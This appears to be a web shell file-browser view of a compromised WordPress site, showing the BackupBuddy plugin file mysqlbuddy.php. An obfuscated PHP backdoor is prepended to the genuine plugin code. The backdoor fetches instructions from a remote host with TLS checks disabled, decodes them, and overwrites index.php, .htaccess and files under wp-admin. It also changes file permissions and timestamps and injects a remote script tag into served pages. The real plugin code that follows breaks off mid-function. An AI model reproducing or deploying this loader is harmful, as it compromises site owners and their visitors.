0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
bonniescraftygifts.com
/
iFzj4
/
configCHM
/
Jump
/
0-aserty
/
beatlesmontreal.com
/
wp-contentebbd3f
/
plugins
/
backupbuddy
/
lib
/
mysqlbuddy
/
[
Home
]
File: mysqlbuddy.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php /* pb_backupbuddy_mysqlbuddy class * * @since 3.0.0 * * Helps backup and restore database tables. * Dumps a mysql database (all tables, tables with a certain prefix, or none) with additional inclusions/exclusions of tables possible. * Automatically determines available dump methods (unless method is forced). Runs methods in order of preference. Falls back automatically * to any `lesser` methods if any fail. * Both dump and import support both PHP-based and command line methods. PHP-based is preferred since it supports chunking and bursting. * * Requirements: * * Expects mysql to already be set up and connected. * * General process order: * * Construction: __construct() -> [available_zip_methods()] * Dump: dump() -> _calculate_tables() -> [_mysql and/or _php] * * Method process: * _mysql method (FAST): * Builds the command line -> runs command via exec() -> checks exit code -> verifies .sql file was created; falls to next method if exit code is bad or .sql file is missing. * _php method (SLOW; compatibility mode; only mode pre-3.0): * Iterates through all tables issuing SQL commands to server to get create statements and all database content. Very brute force method. * * @author Dustin Bolton */ class pb_backupbuddy_mysqlbuddy { const COMMAND_LINE_LENGTH_CHECK_THRESHOLD = 250; // If command line is longer than this then we will try to determine max command line length. const TIME_WIGGLE_ROOM = 4; // Number of seconds to fudge up the time elapsed to give a little wiggle room so we don't accidently hit the edge and time out. const HEARTBEAT_COUNT_LIMIT = 2000; // Number of rows/queries to heartbeat after, logging number of rows handled. /********** Properties **********/ private $_version = '0.0.1'; // Internal version number for this library. private $_database_host = ''; // Database host/server. @see __construct(). private $_database_socket = ''; // If using sockets, points to socket file. Left blank if sockets not in use. @see __construct(). private $_database_name = ''; // Database name. @see __construct(). private $_database_user = ''; // Database username. @see __construct(). private $_database_pass = ''; // Database password. @see __construct(). private $_database_prefix = ''; // Database table prefix to backup when in prefix mode. @see __construct(). private $_database_port = ''; // Database port to FORCE. Default blank. If set then this port will be specified in connection. Leave blank to use default for server. @see __construct(). private $_base_dump_mode = ''; // Determines base tables to include in backup. Ex: none, all, or by prefix. @see __construct(). private $_additional_includes = array(); // Additional tables to backup in addition to those determined by base mode. private $_additional_excludes = array(); // Tables to exclude from ( $_additional_includes + those determined by base mode ). private $_methods = array(); // Available mechanisms for dumping in order of preference. private $_mysql_directories = array(); // Populated by _calculate_mysql_directory(). private $_default_mysql_directories = array( '/usr/bin/', '/usr/bin/mysql/', '/usr/local/bin/' ); // If mysql tells us where its installed we prepend to this. Beginning and trailing slashes. private $_mysql_directory = ''; // Tested working mysql directory to use for actual dump. private $_commandbuddy; private $_incoming_sql_version = ''; // Version of the mysql server that dumped this SQL. Handle workarounds of SQL syntax changes. private $_current_sql_version = ''; // Version of the mysql server running locally, calculated on construct. private $_hotfix_7001 = false; // Whether or not to migrate SQL syntax for incoming mysql < v5.1 when importing to mysql 5.1+. private $_maxExecutionTime = ''; private $_max_rows_per_select = 1000; private $_9010s_encountered = 0; private $_max_9010s_allowed = 9; // After this point an error will be shown indicating subsequent errors will be hidden. All 9010 log to: ABSPATH . 'importbuddy/mysql_9010_log-' . pb_backupbuddy::$options['log_serial'] . '.txt' private $_force_single_db_file = false; // When enabled, BackupBuddy will dump individual tables to their own database file (eg wp_options.sql, wp_posts.sql, etc) when possible based on other criteria such as the dump method and whether breaking out big tables is enabled. private $_current_sql_file = ''; // Current SQL file operated on. Used for logging. /********** Methods **********/ /* __construct() * * Default rows per select is determined by default private var above if none passed. Overriden by pb_backupbuddy::$options['phpmysqldump_maxrows'] if not blank and is numeric and overriden by passed parameter if defined. * * @param string $database_host Host / server of database to pull from. May be in the format: `localhost` for normal; `localhost:/path/to/mysql.sock` for sockets. If sockets then parased and internal class variables set appropriately. * @param string $database_name Name of database to pull from. * @param string $database_user User of database to pull from. * @param string $database_pass Pass of database to pull from. * @param string $database_prefix Prefix of tables in database to pull from / insert into (only used if base mode is `prefix`). * @param array $force_methods Optional. Override automatic method detection. Skips test and runs first method first. Falls back to other methods if any failure. Possible methods: commandline, php * @param int $maxExecution Optional. Maximum execution time to run for before stopping to allow for continuing the next import picking up where we left off. If blank we try and deduce it. If -1 then we do NOT use chunking. Useful for classic mode. * @param int $max_rows_per_select Optional. For PHP-based mysql dump, max number of rows per select to grab. * @return */ public function __construct( $database_host, $database_name, $database_user, $database_pass, $database_prefix, $force_methods = array(), $maxExecution = '', $max_rows_per_select = '' ) { if ( isset( pb_backupbuddy::$options['phpmysqldump_maxrows'] ) && ( '' != pb_backupbuddy::$options['phpmysqldump_maxrows'] ) && ( is_numeric( pb_backupbuddy::$options['phpmysqldump_maxrows'] ) ) ) { $this->_max_rows_per_select = pb_backupbuddy::$options['phpmysqldump_maxrows']; } if ( ( '' != $max_rows_per_select ) && ( is_numeric( $max_rows_per_select ) ) ) { $this->_max_rows_per_select = $max_rows_per_select; } pb_backupbuddy::status( 'details', 'PHP-based mysqldump (if applicable) max rows per select set to ' . $this->_max_rows_per_select . '.' ); // Handles command line execution. require_once( pb_backupbuddy::plugin_path() . '/lib/commandbuddy/commandbuddy.php' ); $this->_commandbuddy = new pb_backupbuddy_commandbuddy(); // Check for use of sockets in host. Handle if using sockets. //$database_host = 'localhost:/Applications/XAMPP/xamppfiles/var/mysql/mysql.sock'; if ( strpos( $database_host, ':' ) === false ) { // Normal host. No socket or port specified. pb_backupbuddy::status( 'details', 'Database host for dumping: `' . $database_host . '`' ); $this->_database_host = $database_host; } else { // Non-normal host specification. Either socket or port number is specified. $host_split = explode( ':', $database_host ); if ( ! is_numeric( $host_split[1] ) ) { // String so assume a socket. pb_backupbuddy::status( 'details', 'Database host (socket) for dumping. Host: `' . $host_split[0] . '`; Socket: `' . $host_split[1] . '`.' ); $this->_database_host = $host_split[0]; $this->_database_socket = $host_split[1]; } elseif ( is_numeric( $host_split[1] ) ) { // Port number specified. $this->_database_host = $host_split[0]; $this->_database_port = $host_split[1]; } else { // Uknown. Leave as one piece. $this->_database_host = $database_host; } } unset( $host_split ); pb_backupbuddy::status( 'details', 'Loading mysqlbuddy library.' ); pb_backupbuddy::status( 'details', 'Mysql server default directories: `' . implode( ',', $this->_default_mysql_directories ) . '`' ); $this->_database_name = $database_name; $this->_database_user = $database_user; $this->_database_pass = $database_pass; $this->_database_prefix = $database_prefix; if ( is_array( $force_methods ) ) { 